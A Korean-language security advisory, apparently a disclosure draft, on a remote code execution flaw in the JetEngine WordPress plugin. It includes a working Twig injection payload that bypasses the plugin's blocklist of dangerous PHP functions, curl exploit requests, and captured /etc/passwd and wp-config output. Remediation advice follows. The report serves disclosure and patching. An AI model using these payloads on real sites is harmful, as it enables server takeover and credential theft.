
JetEngine <= 3.7.2 - 인증된 (Contributor+) 원격 코드 실행
날짜: 2026년 3월 11일 CVSS 점수: 8.8 (높음) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 영향을 받는 플러그인: JetEngine <= 3.7.2 플러그인 슬러그: jet-engine CVE: CVE-2026-28134 상태: 비공개 테스트된 WordPress 버전: 최신
CVE-2026-28134는 JetEngine WordPress 플러그인의 원격 코드 실행 취약점으로, 3.7.2 이하의 모든 버전에 영향을 미칩니다. 이 취약점을 통해 Contributor 이상의 접근 권한을 가진 인증된 공격자는 JetEngine Listing 게시물에 악성 Twig 템플릿을 주입하여 서버에서 임의의 OS 명령을 실행할 수 있습니다.
공격 체인은 세 가지 약점을 결합합니다:
~ 문자열 연결 연산자를 사용하는 새니타이저 우회.✅ 취약점 확인 — 완전한 RCE 달성
확인된 영향:
www-data 권한으로 임의 OS 명령 실행/etc/passwd, wp-config.php)JetEngine은 Twig/Timber 기반 Listing 뷰 유형을 제공합니다. timber_views 구성 요소가 활성화되면 _listing_type = twig인 Listing 게시물의 _jet_engine_listing_html 게시물 메타가 Timber를 통해 라이브 Twig 템플릿으로 렌더링됩니다. 렌더링 파이프라인은 인증되지 않은 wp_ajax_nopriv_jet_engine_ajax AJAX 액션을 통해 도달할 수 있으며, 공격자가 JetEngine Listing 게시물을 생성하거나 수정할 수만 있으면 됩니다 (최소 Contributor 역할).
ajax-handlers.php는 인증된 사용자와 인증되지 않은 사용자 모두에 대해 AJAX 액션을 등록합니다:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
핸들러는 nonce 또는 권한 검사 없이 $_REQUEST['handler']를 기반으로 클래스의 모든 공개 메서드로 디스패치합니다:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
listing_load_more 호출은 공개적으로 접근 가능하며 Listing 렌더링 파이프라인을 트리거합니다.
listing_load_more → get_listing → frontend->get_listing_item 호출 체인은 다음에 도달합니다:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
$listing_view = 'twig'일 때, 이것은 Jet_Engine\Timber_Views\Render::get_listing_content()를 실행하며, 게시물의 _jet_engine_listing_html 메타 필드에서 Twig 템플릿을 읽어 render_html()에 직접 전달합니다:
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig는 샌드박스 없이 렌더링합니다. 유일한 보호 장치는 sanitize_twig_content()입니다.
sanitize_twig_content()는 단어 경계 정규식 패턴을 사용하여 위험한 PHP 함수 이름을 제거한 다음 템플릿이 수정되었는지 확인합니다:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
\bsystem\b 패턴은 리터럴 토큰 system과 일치합니다. "sys" ~ "tem"은 두 개의 별도 따옴표 문자열 토큰이므로 일치하지 않습니다. Twig는 렌더링 시점에 연결을 평가하여 메모리에서만 "system"을 생성합니다 — 소스 템플릿에는 차단된 단어가 전혀 포함되지 않습니다.
우회 페이로드:
{{ fn("sys" ~ "tem", "id") }}
새니타이저는 fn, "sys", ~, "tem", "id"를 볼 뿐이며, 이 중 어느 것도 블록리스트에 없습니다. 변경 없이 통과합니다.
fn() 헬퍼를 통한 코드 실행Timber는 Twig 환경에 PHP 호출 가능 래퍼를 직접 등록합니다:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }}는 call_user_func_array("system", ["id"])로 해석되어 임의 OS 명령 실행이 가능합니다.
timber_views 구성 요소가 활성화되어 있어야 합니다 (JetEngine 설정 > 성능 > Timber/Twig 뷰).게시물 메타에 악성 Twig 템플릿이 저장된 JetEngine Listing 게시물을 생성합니다:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
또는 wp-cli를 통해 (Contributor 사용자로):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
차단된 문자열 passthru를 "pas" ~ "sthru"로 분할:
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
템플릿이 {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}로 설정된 경우:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
템플릿 {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax는 인증되지 않은 요청에 대해 실행됩니다. handle_ajax() 디스패처는 listing_load_more를 호출하기 전에 nonce 검증이나 권한 검사를 수행하지 않습니다. 따라서 악성 Listing이 존재하면 렌더링 파이프라인에 인증되지 않은 사용자가 도달할 수 있습니다.
Twig의 공식 샌드박스 확장(\Twig\Sandbox\SecurityPolicy)은 엔진 수준에서 허용 목록을 적용하므로 명시적으로 허용되지 않은 함수는 호출할 수 없습니다. JetEngine은 샌드박스 없이 createTemplate()을 사용합니다. 유일한 보호 장치는 렌더링 전 문자열 검사로, 쉽게 우회할 수 있습니다.
블록리스트 방식(/\bsystem\b/i)은 정적 템플릿 소스 텍스트에서 작동합니다. Twig의 ~ 연결 연산자는 런타임에 문자열을 구성합니다. 차단된 이름은 "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem" 등으로 분할할 수 있습니다. 적절한 샌드박스는 함수 이름이 어떻게 구성되었는지와 관계없이 호출을 거부합니다.
call_user_func_array를 노출Timber의 fn() 및 function() Twig 헬퍼는 PHP의 call_user_func_array에 대한 무조건적인 브리지입니다. 호출 가능한 함수에 대한 허용 목록이 없습니다. 웹 프로세스에서 도달할 수 있는 모든 PHP 함수가 호출될 수 있습니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-03-11 | 취약점 발견 및 완전한 RCE PoC로 확인 |
| 2026-03-11 | 보고서 초안 작성 |
| 파일 | 문제 |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax 등록됨 — 인증 또는 nonce 없음 |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — 임의 공개 메서드 디스패치 |
includes/components/timber-views/timber.php:150 | render_html()은 샌드박스 없이 공격자 제어 Twig 템플릿을 렌더링 |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — 정규식 블록리스트, 토큰 분할로 우회됨 |
timber-library/lib/Twig.php:42-43 | Timber가 fn()/function()을 call_user_func_array용 Twig 래퍼로 등록 |
| 수정 | 설명 |
|---|
handle_ajax()에 nonce + 권한 검사 추가 | 모든 AJAX 디스패치에 대해 edit_posts 권한과 유효한 nonce 요구 |
| Twig 샌드박스 활성화 | 문자열 블록리스트를 \Twig\Sandbox\SecurityPolicy로 대체 — 안전한 함수와 속성을 명시적으로 허용 목록에 추가 |
Timber fn() 헬퍼 제한 | 호출 가능한 함수 이름을 허용 목록에 추가하거나 신뢰할 수 없는 템플릿에 대해 Twig 환경에서 fn()/function() 제거 |
| Listing 소유권 검증 | 템플릿을 렌더링하기 전에 요청 사용자가 해당 Listing에 대한 edit_post 권한이 있는지 확인 |